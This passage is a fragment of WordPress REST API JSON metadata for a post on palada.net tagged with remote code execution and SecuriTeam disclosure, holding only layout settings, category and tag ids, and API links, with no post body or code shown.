Vulnerabilities<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11909,11682,10757],"class_list":["post-7285","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-code-execution","tag-remote-code-execution","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=7285"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/7285\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=7285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=7285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=7285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}